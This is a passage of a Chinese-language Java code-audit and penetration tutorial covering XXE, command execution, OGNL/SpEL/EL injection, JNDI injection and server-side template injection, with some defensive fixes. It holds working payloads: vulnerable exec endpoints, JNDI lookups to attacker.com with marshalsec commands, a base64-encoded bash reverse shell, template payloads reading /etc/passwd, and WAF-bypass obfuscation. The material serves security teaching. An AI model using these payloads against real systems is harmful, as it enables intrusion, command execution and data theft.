<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
漏洞修复
如:
@RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
public String DigesterSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/externalgeneral-entities", false);
digester.setFeature("http://xml.org/sax/features/externalparameter-entities", false);
digester.parse(new StringReader(body)); // parse xml
return "Digester xxe security code";
} catch (Exception e){
logger.error(e.toString());
return EXCEPT;
}
}
其中disallow-doctype-decl是防御XXE的最重要的特性,将该特性设置成true后,几乎所有的XML实体攻击都会被成功防御。参考:JAVA代码审计之深入XXE漏洞挖掘与防御_xxe漏洞 处理方案 java-CSDN博客
命令执行漏洞
Java应用中常见的命令执行点
1、Runtime.getRuntime().exec()
Runtime.getRuntime().exec()是Java中用于执行外部系统命令和程序的方法,它是java.lang.Runtime类的一部分,此方法允许Java应用程序调用操作系统的命令行工具、启动其他应用程序等,该方法返回一个Process对象,通过这个对象可以管理和控制正在运行的进程
执行方法如:
public Process exec(String command) throws IOException
public Process exec(String[] cmdarray) throws IOException
public Process exec(String command, String[] envp) throws IOException
public Process exec(String[] cmdarray, String[] envp) throws IOException
- command:要执行的命令字符串
- cmdarray:字符串数组,包含命令及其参数
- envp(可选):环境变量,可以为命令设置特定的环境变量
示例:
@RestController
@RequestMapping("/rce1")
public class Exec {
@RequestMapping("/test1")
public String test(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
String tmpStr;
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new BufferedInputStream(process.getInputStream())));
while ((tmpStr = bufferedReader.readLine()) != null) {
stringBuilder.append(tmpStr).append("</br>");
}
bufferedReader.close();
return stringBuilder.toString();
}
}
执行命令结果如下:
2、ProcessBuilder().start()
ProcessBuilder是Java 中用于创建和管理操作系统进程的一个类,它提供了一种灵活的方式来配置和启动新进程,允许开发者设置命令、环境变量、工作目录等,ProcessBuilder的start()方法用于实际启动一个新的进程,使用方法如下:
Process process = new ProcessBuilder(command).start();
command表示字符串数组,包含了要执行的命令及其参数
@GetMapping("/test2")
public String processBuilder(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
String tmpStr;
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process process = processBuilder.start();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new BufferedInputStream(process.getInputStream())));
while ((tmpStr = bufferedReader.readLine()) != null) {
stringBuilder.append(tmpStr).append("</br>");
}
return stringBuilder.toString();
}
执行命令结果如下:
Runtime.getRuntime().exe()底层原理:
首先看一下Runtime.getRuntime().exe()底层的调用
进行跟进exec方法
可以发现其实Runtime.getRuntime.exe()的底层还是调用ProcessBuilder进行的
ProcessBuilder底层原理:
然后我们再看看ProcessBuilder的底层,这里用了start方法
跟进start方法,这里使用了ProcessImpl.start,如果waf只检测ProcessBuilder和Runtime的关键字,我们可以使用ProcessImpl.start命令执行
继续跟进ProcessImpl.start,底层使用的是 java.lang.UNIXProcess.,我们可以使用UNIXProcess构造命令执行,这里也是一个waf绕过点
UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,forkAndExec,如方法名所述主要是通过fork&exec来执行本地系统命令
常见RCE关键字:
System|exec|passthru|popen|shell_exec|eval|preg_replace|str_replace|call_user_func|getRuntime().exec|system|execlp|execvp|ShellExecute|wsystem|popen(|getRuntime|ProcessBuilder|execfile|input|Shell|ShellExecuteForExplore(|ShellExecute|execute|.exec|/bin/sh、/bin/bash|cmd|UNIXProcess|
groovy.util.Eval.me
groovy.lang.GroovyShell.parse|evaluate
groovy.lang.Script.run
groovy.lang.GroovyClassLoader.parseClass
org.codehaus.groovy.runtime.InvokerHelper.newScript|createScript|runScript
org.codehaus.groovy.runtime.MethodClosure.MethodClosure
Java表达式中的命令执行
1、OGNL
OGNL全称Object-Graph Navigation Language即对象导航图语言,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。这样可以更好的取得数据。
具体作用:
Struts2默认的表达式语言就支持OGNL,它具有以下特点:
- 支持对象方法调用。例如:objName.methodName()。
- 支持类静态方法调用和值访问,表达式的格式为@[类全名(包括包路径)]@[方法名|值名]。 例如:@java.lang.String@format(‘foo %s’,’bar’)
- 支持赋值操作和表达式串联。 例如:price=100, discount=0.8,calculatePrice(),在方法中进行乘法计算会返回80
- 访问 OGNL 上下文(OGNL context)和 ActionContext
- 操作集合对象
OGNL 三要素:
OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。
- 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
- 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
- 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;
来看一个取出root中的属性值的demo代码:
/**
* 基本语法
* @throws OgnlException
* 取出root中的属性值
*/
@Test
public void test1() throws OgnlException {
//创建root
User rootUser = new User("qiwenming",20);
// User rootUser = new User();
//准备context
Map<String,User> context = new HashMap<>();
context.put("user1",new User("wiming",10));
context.put("user2",new User("xiaoming",12));
OgnlContext oc = new OgnlContext();
//将rootUser作为root部分
oc.setRoot(rootUser);
//将context这个Map作为Context部分
oc.setValues(context);
String name = (String) Ognl.getValue("name",oc,oc.getRoot());
Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());
System.out.println(name);
System.out.println(age);
}
根据上面的介绍知识,我们知道OGNL能够支持完整的Java对象创建、读写过程,我们很容易能够写出Java执行命令的表达式。
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")",(new java.lang.ProcessBuilder(new java.lang.String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})).start());
白盒测试
全局搜索:import ognl.*、OGNL.getVaule()
OGNL 命令执行原理
OGNL表达式的getValue函数本身具有执行java代码的能力,OGNL在处理我们的表达式时,会使用到OgnlRuntime.callMethod(),再往下的底层就会使用到Method.invoke()进行处理,触发我们的Java执行命令。
总结
OGNL漏洞的修复基本都是采用黑名单来限制OGNL注入,开发人员在使用ognl时,除了ognl需要注意使用较高版本,还要注意添加额外的防护措施。当然,使用黑名单的防护方式也许一时可以防住OGNL的RCE,但总有被绕过的风险,另外除了命令执行,文件操作、SSRF也不是没有可能。
2、SpEL
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与Spring功能完美整合,如能用来配置Bean定义。
基础用法
SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!
示例2:自定义注册加载变量的用法
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}
了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload
spel语法中的T()
操作符 :T()
操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名()
,后面会用得到
spel中的#
操作符:可以用于标记对象
白盒测试
关注下面的这些关键字:
org.springframework.expression|parseExpression|getValue|getValueType|value="#{*}
RCE部分
第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法
java代码
String[] str = new String[]{"open","/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();//打开计算器
spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
完整的执行代码
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
运行结果如下:
3、EL表达式
EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
EL表达式主要功能
- 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
- 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如
${user==null}
; - 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
- 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;
EL语法
在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}
表示。例如,${ userinfo}
代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的
变量,例如:${ pageScope. userinfo}
表示访问page范围中的userinfo变量。
简单地说,使用EL表达式语法:${EL表达式}
其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。
白盒测试
Jsp中关注下面的关键字
${expr}
EL表达式注入漏洞:
EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的。
通用PoC
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
命令执行PoC如下:
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>
访问http://localhost/XXX.jsp?a=$](https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%2FXXX.jsp%3Fa%3D%24){applicationScope}
。
容器第一次执行EL表达式${param.a}
获得了我们输入的${applicationScope}
,然后Spring标签获取容器的EL表达式求值对象,把${applicationScope}
再次执行掉,形成了漏洞。
JNDI注入
参考文章:JNDI注入原理及利用考究-先知社区
RMI
RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中 Java 程序调用在另一个远程 JVM 中运行的 Java 程序,这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协议为 Java 定制,要求服务端与客户端都为 Java 编写。
RMI包括以下三个部分:Server,Client,Registery.
这三者之间的通信方式大概如下:
简单来说就是Server将一个类绑定到Registery上,Client通过查询Registery的表项(字符串)来发出请求,然后Server将查询的类序列化以后返回.客户端有每个类对应的接口(被成为代理),可以对返回的序列化结果去反序列化.
JNDI
JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。JNDI 提供了一种统一的接口来访问不同的命名和目录服务。它被广泛应用于企业级 Java 应用程序中,用于查找和访问各种资源,如数据库连接、EJB(Enterprise JavaBeans)组件、消息队列、环境变量等。
- 命名服务:所谓命名服务,就是通过名称查找实际对象的服务。比如:DNS指通过域名查找实际的 IP 地址;文件系统指通过文件名定位到具体的文件;
- 目录服务:目录服务(Directory Service)是一个扩展了命名服务功能的服务,它不仅能够将名字映射到对象,还能为这些对象提供与之关联的属性(Attributes)。目录服务在管理和查找分布式资源时非常有用,特别是在企业级应用中。
JNDI 包含两个主要部分:API(应用程序接口)和SPI(服务提供者接口)。本身只是一个 API ,具体的目录服务由底层的实现提供。常见的 JNDI 目录服务实现包括:
- LDAP (Lightweight Directory Access Protocol):轻量级目录访问协议,最常用的目录服务协议,广泛用于企业中的用户和权限管理。
- DNS (Domain Name System):尽管主要是一个命名服务,DNS 也可以作为目录服务的一部分来处理一些资源记录。
- NIS (Network Information Service):主要用于 Unix/Linux 系统中的网络信息管理。
- RMI 注册表 (RMI Registry):在 Java RMI 中,JNDI 可以与 RMI 注册表集成,提供分布式对象的目录服务。
JNDI代码
JNDI 接口主要分为下述 5 个包:
javax.naming
:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类javax.naming.directory
:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类javax.naming.event
:在命名目录服务器中请求事件通知javax.naming.ldap
:提供LDAP服务支持javax.naming.spi
:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务
下面我们通过具体代码来看看JNDI是如何实现与各服务进行交互的。
JNDI_RMI
首先在本地起一个RMI服务
接口 IHello.java
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
RMI_Server.java
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMI_Server {
public class RMIHello extends UnicastRemoteObject implements IHello {
protected RMIHello() throws RemoteException{
super();
}
// protected RMIHello() throws RemoteException{
// UnicastRemoteObject.exportObject(this,0);
// }
@Override
public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}
}
private void register() throws Exception{
RMIHello rmiHello=new RMIHello();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/hello",rmiHello);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMI_Server().register();
}
}
启动RMI服务
然后通过JNDI接口调用远程类
JNDI_RMI.java
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class JNDI_RMI {
public static void main(String[] args) throws Exception {
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
//调用远程类
IHello ihello = (IHello) initialContext.lookup("hello");
System.out.println(ihello.sayHello("Feng"));
}
}
结果如下
注意这里我们同样需要实现IHello接口,并且包名和RMI Server端相同,不然会报no security manager: RMI class loader disabled
错误。
JNDI_DNS
我们再以JDK内置的DNS目录服务为例
JNDI_DNS.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class JNDI_DNS {
public static void main(String[] args) {
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://192.168.43.1");
try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("goodapple.top", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
结果如下
JNDI注入
- 核心逻辑:
- JNDI 是 Java 提供的统一资源访问接口,支持通过名称(如
ldap://example.com/obj
)动态加载远程对象。 - 当攻击者能控制 JNDI 的查找地址(如输入参数被拼接到
InitialContext.lookup()
中)时,可指向恶意服务器地址,触发目标加载远程恶意类(如.class
或.jar
),最终实现 RCE。
- JNDI 是 Java 提供的统一资源访问接口,支持通过名称(如
- 关键依赖条件:
- 目标应用使用低版本 Java(JDK ≤ 8u191/11.0.1/7u201/6u211,这些版本未默认关闭远程类加载)。
- 存在未过滤的输入点传递给 JNDI 接口(如日志打印、参数解析等)。
黑盒发现 JNDI 注入漏洞
1. 识别潜在输入点
- HTTP 参数/Headers/Cookie:例如
username=${jndi:ldap://xxx}
。 - 文件上传/下载功能:文件名、文件内容中嵌入 JNDI Payload。
- API 接口:JSON/XML 数据中的字段(如用户注册信息、订单信息)。
- 日志上下文:如用户代理(User-Agent)、Referer 等可能被 Log4j2 记录的位置。
2. 构造探测 Payload
- 基础 Payload:使用
DNSLog
回显验证是否存在漏洞:${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://attacker.com:1099/exploit}
- 绕过 WAF 的变形:
${${lower:j}ndi:ldap://xxx} // 大小写混淆 ${jndi:ldap://127.0.0.1#.xxx.dnslog.cn} // 利用 URL 解析特性 ${jndi:ldap://127.0.0.1:1234/ Basic/Command/Base64/[base64-encoded-cmd]}
3. 使用工具辅助验证
- DNSLog 平台:
- 生成临时域名(如
ceye.io
、dnslog.cn
),观察是否有 DNS 请求记录。
- 生成临时域名(如
- Burp Collaborator:
- 在 Burp Suite 中生成 Collaborator 地址,替换到 Payload 中,检查是否有 HTTP/DNS 交互。
JNDI 注入的利用步骤
1. 环境准备
- 恶意服务器搭建:
- 使用工具快速启动 LDAP/RMI 恶意服务:
# 使用 marshalsec 工具 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass" # 使用 JNDI-Injection-Exploit 工具 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
- 使用工具快速启动 LDAP/RMI 恶意服务:
- 恶意类文件托管:
- 在 Web 服务器(如 Python HTTP 服务)上托管恶意
.class
或.jar
文件。
- 在 Web 服务器(如 Python HTTP 服务)上托管恶意
2. 生成恶意 Payload
- 简单命令执行:
${jndi:ldap://attacker.com:1389/Exploit}
- 反弹 Shell(需编码绕过特殊字符):
${jndi:ldap://attacker.com:1389/Exploit}
- 恶意类
Exploit.class
的代码示例:public class Exploit { static { try { Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } }
- 恶意类
3. 触发漏洞
- 将构造的 Payload 发送到目标输入点(如 HTTP 请求参数、文件上传等)。
- 观察恶意服务器的日志,确认目标是否请求了恶意类文件:
[LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class
4. 绕过限制
- 高版本 Java 的利用(JDK > 8u191):
- 若目标禁用远程类加载,尝试利用本地类(如
Tomcat ELProcessor
、Groovy
等)进行二次攻击。
- 若目标禁用远程类加载,尝试利用本地类(如
- 上下文限制:
- 如果 Payload 被截断或过滤,尝试分块传输、编码混淆(如 Unicode、Hex)。
防御建议
- 升级依赖:升级 Log4j2 到 ≥ 2.17.1,禁用 JNDI 功能(设置
log4j2.formatMsgNoLookups=true
)。 - 代码层面:避免将用户输入直接传递给
InitialContext.lookup()
。 - 环境加固:使用 JDK ≥ 8u191/11.0.1,设置
com.sun.jndi.ldap.object.trustURLCodebase=false
。 - WAF 规则:拦截包含
${jndi:
、$%7Bjndi:
等模式的请求。
SSTI模板注入
模板引擎就是前端做好一个模板页面,例如人员信息展示页面,在姓名,性别,年龄处,使用模板引擎特定的”变量符/指令/插值“进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据。
常见的Java模板引擎:
- FreeMarker:广泛用于企业级应用,语法为
${expression}
。 - Thymeleaf:Spring生态主流模板引擎,语法为
[[${expression}]]
。 - Velocity:Apache项目,语法为
$variable
和#directive
。 - JSP (JSTL):传统Java模板,支持表达式语言(EL)如
${expression}
。
python中则有flask,jinja2
在 JSP 之前,使用 servlet 来实现动态网页效果,将数据返回到前端生成 HTML 页面时,异常的繁琐,需要使用 out.write() 一行行的输出,比如:
out.write("<html>\n")
out.write("<head>\n")
out.write("<h1>hello servlet</h1>\n")
out.write("</head>\n")
out.write("</html>\n")
虽然 JSP 也是模板引擎的一种,但是由于其本质就是 servlet,可以直接无阻碍的访问底层的 servletAPI,也可以编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象低耦合,高内聚的核心思想,维护起来也越来越繁琐,因此经过演变,以及优秀的模板引擎接连不断地出现,JSP 也逐渐被替代
漏洞原理
SSTI (Server-Side Template Injection,服务器端模板注入),广泛来说是在模板引擎解析模板时,可能因为代码实现不严谨,存在将恶意代码注入到模板的漏洞。这种漏洞可以被攻击者利用来在服务器端执行任意代码,造成严重的安全威胁。任何编程语言都有可能出现 SSTI漏洞,SSTI 漏洞的本质是在服务器端对用户输入的不当处理,导致恶意用户能够通过注入模板代码来执行任意代码。
简单说,在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。
不同的模板触发漏洞的场景也不同,下面我们将针对 FreeMarker,Velocity 和Thymeleaf 这三款模板引擎进行分析
漏洞示例
FreeMarker:
// 危险操作:直接渲染用户输入
String userInput = request.getParameter("content");
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
Template template = new Template("injected", new StringReader(userInput), cfg);
StringWriter output = new StringWriter();
template.process(null, output); // 导致SSTI
Thymeleaf:
// 危险操作:用户输入作为模板片段
String input = request.getParameter("param");
Context context = new Context();
context.setVariable("param", input);
String result = templateEngine.process(input, context); // 直接渲染用户输入
举个简单的例子:$output = $twig->render(“Dear ” . $_GET[‘name’]);
在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name 参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。
如果攻击者将 name 参数设置为 {{7*7}},则最终渲染的模板将变为:Dear {{7*7}},这样的结果会导致 Twig 引擎将 7*7
这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。
模板判断:
绿色箭头是执行成功,红色箭头是执行失败。首先是注入${77}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{77}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7’7′}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。 然后回到最初注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${“z”.join(“ab”)},如果执行成功回显出zab就说明是Mako模板。实际做题时也可以把指令都拿去测测看谁能对上。平时做题也可以多搜集不同模板对应的注入语句语法。
渗透关键点
1. 检测注入点
• 输入点:URL参数、模板动态拼接内容。
• 检测方法:
GET /page?param=${7 * 7} HTTP/1.1 <!-- FreeMarker/Velocity/JSP EL -->
GET /page?param=[[${7 * 7}]] HTTP/1.1 <!-- Thymeleaf -->
观察响应中是否返回49
。
2. 引擎识别
• FreeMarker:报错信息包含FreeMarker template error
。
• Thymeleaf:报错信息包含Thymeleaf
或TemplateProcessingException
。
• Velocity:报错信息包含Velocity
或ParseException
。
漏洞利用与Payload
1. FreeMarker注入
命令执行(需new
指令未禁用)
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ ex("id") }
文件读取
<#assign file = "freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")>
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", file)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is))>
<#list 1..1000 as _>
${ br.readLine()! }
</#list>
2. Thymeleaf注入
预处理表达式(高危)
// 用户输入为:__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
[[${param}]] // 渲染时触发命令执行
表达式语言(EL)利用
${T(java.lang.Runtime).getRuntime().exec('calc')} <!-- 需要启用表达式预处理 -->
3. Velocity注入
命令执行
#set($exec = $util.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
$exec.exec("id")
文件读取
#set($reader = $util.getClass().forName("java.io.FileReader").newInstance("/etc/passwd"))
#set($buf = $util.getClass().forName("java.io.BufferedReader").newInstance($reader))
#foreach($i in [1..1000])
$buf.readLine()
#end
4. JSP(JSTL)EL注入
命令执行(旧版EL)
${pageContext.request.getSession().setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id"))}
文件读取
${''.getClass().forName('java.io.BufferedReader').newInstance(''.getClass().forName('java.io.FileReader').newInstance('/etc/passwd')).readLine()}
防御措施
1. 通用防御
• 输入过滤:禁止用户输入直接嵌入模板逻辑。
• 沙盒模式:
• FreeMarker:配置new_builtin_class_resolver
限制类访问。
• Velocity:启用SecureUberspector
限制反射。
• Thymeleaf:禁用预处理表达式(spring.thymeleaf.mode=HTML
)。
2. 安全配置
• FreeMarker:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
• Thymeleaf:避免使用@{}
动态拼接模板路径。
• JSP:禁用EL表达式(<%@ page isELIgnored="true" %>
)。
绕过技巧
1、字符串拼接:
#set($cmd = "j")
#set($cmd = $cmd + "ava.lang.Run")
$cmd.getRuntime().exec("id")
2、编码混淆:
${''['cl'+'ass'].forName('java.la'+'ng.Run'+'time').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null),'id')}
3、反射链调用
<#assign rt = "freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime")>
<#assign method = rt?api.class.getMethod("getRuntime")>
${method.invoke(null)?api.exec("id")}